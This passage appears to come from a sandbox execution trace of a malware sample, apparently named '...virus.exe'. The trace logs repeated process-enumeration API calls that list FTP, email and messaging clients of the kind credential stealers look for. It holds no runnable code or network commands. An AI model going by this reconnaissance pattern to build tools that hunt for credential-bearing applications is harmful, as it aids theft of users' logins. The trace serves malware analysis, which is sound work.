cntUsage=0x0, th32ProcessID=0x9a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0052.004] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0052.004] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0052.005] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0052.005] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0052.006] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobile optimum looked.exe")) returned 1 [0052.006] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0052.007] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0052.008] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0052.008] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0052.009] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xbb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0052.009] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0052.010] Process32NextW (in: hSnapshot=0x128, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 0 [0052.010] CloseHandle (hObject=0x128) returned 1 [0052.010] Sleep (dwMilliseconds=0x1f4) [0053.990] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0053.995] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0053.995] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0053.996] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0054.011] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0054.012] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0054.012] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0054.013] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0054.014] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0054.014] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0054.015] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0054.016] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.016] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.017] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.018] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.018] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.019] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0054.020] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.020] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.022] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0054.022] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0054.023] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0054.024] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.024] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0054.025] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0054.026] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="expensesknowpolicies.exe")) returned 1 [0054.026] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="york-singing.exe")) returned 1 [0054.027] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x730, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="techno charges.exe")) returned 1 [0054.028] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="impression.exe")) returned 1 [0054.028] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="greensboro-revealed.exe")) returned 1 [0054.029] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x20c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="range-hayes-pot.exe")) returned 1 [0054.030] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pilot-liverpool-black.exe")) returned 1 [0054.031] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gammafin.exe")) returned 1 [0054.031] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pope.exe")) returned 1 [0054.032] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operates.exe")) returned 1 [0054.033] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="dynamics.exe")) returned 1 [0054.033] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="congratulations.exe")) returned 1 [0054.034] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="employer.exe")) returned 1 [0054.035] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="paypal_drunk.exe")) returned 1 [0054.035] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="italian french participants.exe")) returned 1 [0054.036] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bruceanalytical.exe")) returned 1 [0054.037] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="firefoxguess.exe")) returned 1 [0054.037] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="legally notified.exe")) returned 1 [0054.138] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="qualities.exe")) returned 1 [0054.138] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0054.139] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0054.140] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0054.140] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0054.141] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0054.142] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0054.142] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0054.143] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0054.144] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0054.144] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0054.145] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0054.145] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x31c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0054.146] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0054.147] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0054.147] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0054.148] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0054.149] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0054.150] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0054.151] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0054.152] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0054.153] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0054.154] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0054.155] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0054.156] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0054.157] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0054.157] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0054.158] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, 